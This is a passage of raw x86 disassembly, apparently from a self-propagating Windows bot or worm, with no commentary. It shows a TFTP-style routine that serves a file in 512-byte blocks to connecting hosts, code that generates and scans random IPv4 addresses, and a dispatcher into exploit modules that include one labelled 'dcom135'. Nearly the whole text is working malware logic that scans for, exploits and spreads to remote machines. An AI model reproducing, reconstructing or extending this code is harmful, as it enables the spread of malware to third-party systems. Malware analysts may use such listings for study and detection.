		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_406CDC
		push	190h
		nop
		call	near ptr 2610E42h
		call	dword_43AD2C
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_42AC38
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406CBC
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D679
		add	esp, 14h

loc_406CBC:				; CODE XREF: sub_406C19+7Ej
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_170]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 26101F3h
		nop

loc_406CDC:				; CODE XREF: sub_406C19+50j
		mov	eax, [ebp+var_170]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_4407FC[eax], edi
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	[ebp+var_168]
		call	dword_43AD98
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_40], ebx
		call	dword_43ADC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406D41
		push	1388h
		nop
		call	near ptr 2610E42h
		dec	[ebp+var_16C]
		push	[ebp+arg_0]
		jmp	loc_407104
; ---------------------------------------------------------------------------

loc_406D41:				; CODE XREF: sub_406C19+10Dj
		lea	eax, [ebp+var_378]
		push	offset aRb	; "rb"
		push	eax
		call	sub_4179A8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jnz	short loc_406DBF
		push	190h
		call	near ptr 2610E42h
		nop
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_42AC04
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D679
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_170]
		call	sub_417078
		add	esp, 28h
		push	ebx
		call	near ptr 26101F3h
		nop

loc_406DBF:				; CODE XREF: sub_406C19+140j
		mov	esi, 200h

loc_406DC4:				; CODE XREF: sub_406C19+4A5j
		mov	eax, [ebp+arg_0]
		cmp	[eax+2A0h], ebx
		jz	loc_4070C4
		mov	[ebp+var_880], edi
		mov	edi, 80h
		push	edi
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		mov	[ebp+var_34], 5
		mov	[ebp+var_30], 1388h
		mov	[ebp+var_884], 1
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		lea	eax, [ebp+var_884]
		push	ebx
		push	eax
		push	ebx
		call	dword_43AD80
		test	eax, eax
		jle	loc_4070B8
		mov	al, byte_436EDC
		mov	ecx, edi
		mov	[ebp+var_580], al
		xor	eax, eax
		lea	edi, [ebp+var_57F]
		mov	[ebp+var_4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D8]
		push	80h
		push	eax
		push	edi
		call	dword_43AD70
		push	[ebp+var_28]
		mov	[ebp+var_C], eax
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_4070A2
		cmp	[ebp+var_D7], 1
		jnz	loc_406FEE
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_417AB0
		lea	eax, [ebp+eax+var_D5]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_D6]
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_418DA0
		add	esp, 14h
		test	eax, eax
		jnz	loc_406FA8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_1C]
		push	[ebp+var_14]
		push	eax
		call	sub_418DA0
		add	esp, 10h
		test	eax, eax
		jnz	loc_406FA8
		push	ebx
		push	ebx
		push	[ebp+var_8]
		call	sub_418D0E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		push	esi
		push	1
		push	eax
		mov	[ebp+var_57E], bl
		mov	[ebp+var_57D], 1
		call	sub_418A86
		add	esp, 1Ch
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_C], eax
		add	eax, 4
		push	[ebp+var_4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	edi
		call	dword_43ADFC
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_42ABBC

loc_406F5C:				; CODE XREF: sub_406C19+484j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_4172B0
		add	esp, 10h
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406F96
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D679
		add	esp, 14h

loc_406F96:				; CODE XREF: sub_406C19+358j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BF6D
		pop	ecx
		jmp	loc_4070B8
; ---------------------------------------------------------------------------

loc_406FA8:				; CODE XREF: sub_406C19+2B6j
					; sub_406C19+2D7j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_42ABA8
		push	edi
		call	dword_43ADFC
		lea	eax, [ebp+var_274]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_D8]
		push	offset unk_42AB74
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_40BF6D
		add	esp, 14h
		jmp	loc_4070B8
; ---------------------------------------------------------------------------

loc_406FEE:				; CODE XREF: sub_406C19+275j
		cmp	[ebp+var_D7], 4
		jnz	loc_4070A2
		mov	cl, [ebp+var_D5]
		mov	al, [ebp+var_D6]
		cmp	cl, 0FFh
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		jnz	short loc_40702B
		inc	al
		xor	cl, cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], bl
		jmp	short loc_407039
; ---------------------------------------------------------------------------

loc_40702B:				; CODE XREF: sub_406C19+3FEj
		inc	cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], cl

loc_407039:				; CODE XREF: sub_406C19+410j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	[ebp+var_8]
		call	sub_418D0E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		push	esi
		push	1
		push	eax
		call	sub_418A86
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_C], edi
		push	[ebp+var_4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax

loc_407079:				; DATA XREF: ___:004282F8o
					; ___:0042830Co ...
		lea	eax, [ebp+var_580]
		push	eax
		push	[ebp+var_10]
		call	dword_43ADFC
		cmp	edi, ebx
		jnz	short loc_4070B8
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_42AB20
		jmp	loc_406F5C
; ---------------------------------------------------------------------------

loc_4070A2:				; CODE XREF: sub_406C19+268j
					; sub_406C19+3DCj
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_42AB14
		push	edi
		call	dword_43ADFC

loc_4070B8:				; CODE XREF: sub_406C19+204j
					; sub_406C19+38Aj ...
		cmp	[ebp+var_C], ebx
		mov	edi, [ebp+var_10]
		jg	loc_406DC4

loc_4070C4:				; CODE XREF: sub_406C19+1B4j
		push	edi
		call	dword_43AE30
		push	[ebp+var_8]
		call	sub_417900
		mov	esi, [ebp+arg_0]
		dec	[ebp+var_16C]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short loc_4070F8
		push	[ebp+var_170]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26101F3h

loc_4070F8:				; CODE XREF: sub_406C19+4CAj
		push	3E8h
		nop
		call	near ptr 2610E42h
		push	esi

loc_407104:				; CODE XREF: sub_406C19+123j
		call	sub_406C19
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_406C19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407110	proc near		; CODE XREF: sub_40EE72+5D3Fp

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_42B134
		push	eax
		xor	ebx, ebx
		call	sub_4172B0
		cmp	dword_42ACB0, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40717E
		push	esi
		mov	esi, offset dword_42ACB8

loc_407143:				; CODE XREF: sub_407110+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_418DE0
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_407143
		pop	esi

loc_40717E:				; CODE XREF: sub_407110+2Bj
		push	dword_4CD5F0
		call	sub_40B721
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_418DE0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_407110	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4071DB	proc near		; CODE XREF: sub_40EE72+56B3p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	8
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jle	short loc_407217
		mov	eax, [ebp+arg_C]
		push	dword_436F18[eax*8]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_42B198
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	short loc_40722A
; ---------------------------------------------------------------------------

loc_407217:				; CODE XREF: sub_4071DB+13j
		lea	eax, [ebp+var_200]
		push	offset unk_42B168
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_40722A:				; CODE XREF: sub_4071DB+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		add	esp, 18h
		leave
		retn
sub_4071DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407252	proc near		; CODE XREF: sub_40797F+4Fp

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_4075E2
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	dword_42ACBC[eax], ebx
		jz	loc_4074C3
		push	4
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jnz	loc_4075E2
		mov	eax, dword_42F5AC
		push	edi
		mov	edi, offset dword_438F34
		push	104h
		push	edi
		push	ebx
		mov	dword_439144, eax
		mov	dword_439140, ebx
		call	near ptr 2670000h
		nop
		push	103h
		mov	esi, offset dword_439038
		push	offset byte_42F674
		push	esi
		call	sub_418C10
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_438F30, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4391C8, eax
		jnz	short loc_407305
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_439148
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_4391CC, 1
		jmp	short loc_40731F
; ---------------------------------------------------------------------------

loc_407305:				; CODE XREF: sub_407252+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_439148
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_4391CC, ebx

loc_40731F:				; CODE XREF: sub_407252+B1j
		push	esi
		push	edi
		push	dword_439144
		lea	eax, [ebp+var_204]
		push	offset unk_42B328
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	dword_43913C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_438F30
		push	offset sub_406C19
		push	ebx
		push	ebx
		call	near ptr 2690AC4h
		nop
		mov	ecx, dword_43913C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_40738E

loc_40737C:				; CODE XREF: sub_407252+13Aj
		cmp	dword_4391D0, ebx
		jnz	short loc_4073A9
		push	32h
		nop
		call	near ptr 2610E42h
		jmp	short loc_40737C
; ---------------------------------------------------------------------------

loc_40738E:				; CODE XREF: sub_407252+128j
		call	near ptr 2660AEBh
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42B2E8
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_4073A9:				; CODE XREF: sub_407252+130j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40BF6D
		mov	edi, offset dword_43958C
		mov	[esp+210h+var_210], 104h
		push	edi
		push	ebx
		mov	dword_439798, ebx
		call	near ptr 2670000h
		nop
		push	103h
		mov	esi, offset dword_439690
		push	offset byte_42F674
		push	esi
		call	sub_418C10
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_439588, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_439820, eax
		jnz	short loc_407424
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4397A0
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_439824, 1
		jmp	short loc_40743E
; ---------------------------------------------------------------------------

loc_407424:				; CODE XREF: sub_407252+1B3j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4397A0
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_439824, ebx

loc_40743E:				; CODE XREF: sub_407252+1D0j
		push	esi
		push	edi
		push	dword_43979C
		lea	eax, [ebp+var_204]
		push	offset dword_42B298
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	dword_439794, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_439588
		push	offset sub_4053D5
		push	ebx
		push	ebx
		call	near ptr 2690AC4h
		nop
		mov	ecx, dword_439794
		pop	edi
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4074B2

loc_40749C:				; CODE XREF: sub_407252+25Ej
		cmp	dword_439828, ebx
		jnz	loc_4075D5
		push	32h
		nop
		call	near ptr 2610E42h
		jmp	short loc_40749C
; ---------------------------------------------------------------------------

loc_4074B2:				; CODE XREF: sub_407252+248j
		nop
		call	near ptr 2660AEBh
		push	eax
		push	offset dword_42B258
		jmp	loc_4075C6
; ---------------------------------------------------------------------------

loc_4074C3:				; CODE XREF: sub_407252+25j
		cmp	dword_42ACC0[eax], ebx
		jz	loc_4075E2
		push	3
		call	sub_416FA4
		test	eax, eax
		pop	ecx
		jnz	loc_4075E2
		mov	esi, offset dword_439464
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2670000h
		push	5Ch
		push	esi
		call	sub_418F10
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_407501
		mov	[eax], bl

loc_407501:				; CODE XREF: sub_407252+2ABj
		mov	eax, dword_42F5B0
		mov	dword_43957C, ebx
		mov	dword_439568, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4391DC
		call	sub_4172B0
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4391D8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_439568
		mov	dword_439574, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_439578, ecx
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42B20C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	dword_439570, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4391D8
		push	offset sub_405AF2
		push	ebx
		push	ebx
		nop
		call	near ptr 2690AC4h
		mov	ecx, dword_439570
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4075BA

loc_4075A8:				; CODE XREF: sub_407252+366j
		cmp	dword_439584, ebx
		jnz	short loc_4075D5
		push	32h
		nop
		call	near ptr 2610E42h
		jmp	short loc_4075A8
; ---------------------------------------------------------------------------

loc_4075BA:				; CODE XREF: sub_407252+354j
		nop
		call	near ptr 2660AEBh
		push	eax
		push	offset unk_42B1C8

loc_4075C6:				; CODE XREF: sub_407252+26Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_4075D5:				; CODE XREF: sub_407252+250j
					; sub_407252+35Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40BF6D
		pop	ecx

loc_4075E2:				; CODE XREF: sub_407252+14j
					; sub_407252+35j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_407252	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4075E6	proc near		; CODE XREF: sub_407767:loc_4077D8p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:436F18h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_417390
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_43ACCC
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_43AD94
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_417390
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_4075E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40762E	proc near		; CODE XREF: sub_407767+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_417AB0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_407656
		xor	eax, eax
		jmp	short loc_4076C7
; ---------------------------------------------------------------------------

loc_407656:				; CODE XREF: sub_40762E+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_418A52
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_407683
		call	sub_41730C
		mov	[ebp+var_C], eax

loc_407683:				; CODE XREF: sub_40762E+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_407690
		call	sub_41730C
		mov	[ebp+var_8], eax

loc_407690:				; CODE XREF: sub_40762E+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40769D
		call	sub_41730C
		mov	[ebp+var_4], eax

loc_40769D:				; CODE XREF: sub_40762E+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_4076A9
		call	sub_41730C

loc_4076A9:				; CODE XREF: sub_40762E+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_436F18[ecx*8], eax

loc_4076C7:				; CODE XREF: sub_40762E+26j
		pop	esi
		leave
		retn
sub_40762E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4076CA	proc near		; CODE XREF: sub_407767+BBp
					; sub_40D4C5+30p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_43AE18
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4076F3
		xor	eax, eax
		jmp	short loc_407762
; ---------------------------------------------------------------------------

loc_4076F3:				; CODE XREF: sub_4076CA+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_43AD98
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_43AE34
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_43AD40
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_43AD80
		push	esi
		mov	edi, eax
		call	dword_43AE30
		xor	eax, eax
		cmp	edi, ebx
		setnle	al

loc_407762:				; CODE XREF: sub_4076CA+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4076CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407767	proc near		; DATA XREF: sub_40797F+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 2610602h
		push	eax
		call	sub_417302
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h

loc_4077AE:				; CODE XREF: sub_407767+204j
		mov	eax, dword_4407F4[ebx]
		cmp	dword_436F1C[eax*8], 0
		jz	loc_407970
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_4077D8
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40762E
		pop	ecx
		jmp	short loc_4077DD
; ---------------------------------------------------------------------------

loc_4077D8:				; CODE XREF: sub_407767+60j
		call	sub_4075E6

loc_4077DD:				; CODE XREF: sub_407767+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_4407F4[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_42B3BC
		push	eax
		call	sub_4172B0
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_4405F0[ebx]
		push	eax
		call	sub_4172B0
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_4076CA
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_407960
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_4078B4
		push	offset dword_438F18
		nop
		call	near ptr 77F7E21Fh
		push	[ebp+var_3C]
		push	edi
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_42B384
		push	eax
		call	sub_4172B0
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_407896
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40788A
		lea	eax, [ebp+var_140]

loc_40788A:				; CODE XREF: sub_407767+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_40D679
		add	esp, 14h

loc_407896:				; CODE XREF: sub_407767+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_40BF6D
		mov	[esp+2A8h+var_2A8], offset dword_438F18
		nop
		call	near ptr 77F7E300h
		jmp	loc_407960
; ---------------------------------------------------------------------------

loc_4078B4:				; CODE XREF: sub_407767+D0j
		push	edi
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4172B0
		mov	eax, [ebp+var_20]
		pop	ecx
		imul	eax, 3Ch
		pop	ecx
		add	eax, offset aDcom135_0 ; "dcom135"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_4172B0
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_4078F9
		lea	eax, [ebp+var_140]

loc_4078F9:				; CODE XREF: sub_407767+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_4172B0
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	off_42ACB4[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh

loc_407960:				; CODE XREF: sub_407767+C6j
					; sub_407767+148j
		push	7D0h
		call	near ptr 2610E42h
		nop
		jmp	loc_4077AE
; ---------------------------------------------------------------------------

loc_407970:				; CODE XREF: sub_407767+55j
		push	esi
		call	sub_417078
		pop	ecx
		push	0
		call	near ptr 26101F3h
		nop
sub_407767	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40797F	proc near		; DATA XREF: sub_40EE72+3300o
					; sub_40EE72+5137o

var_1DC		= dword	ptr -1DCh
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

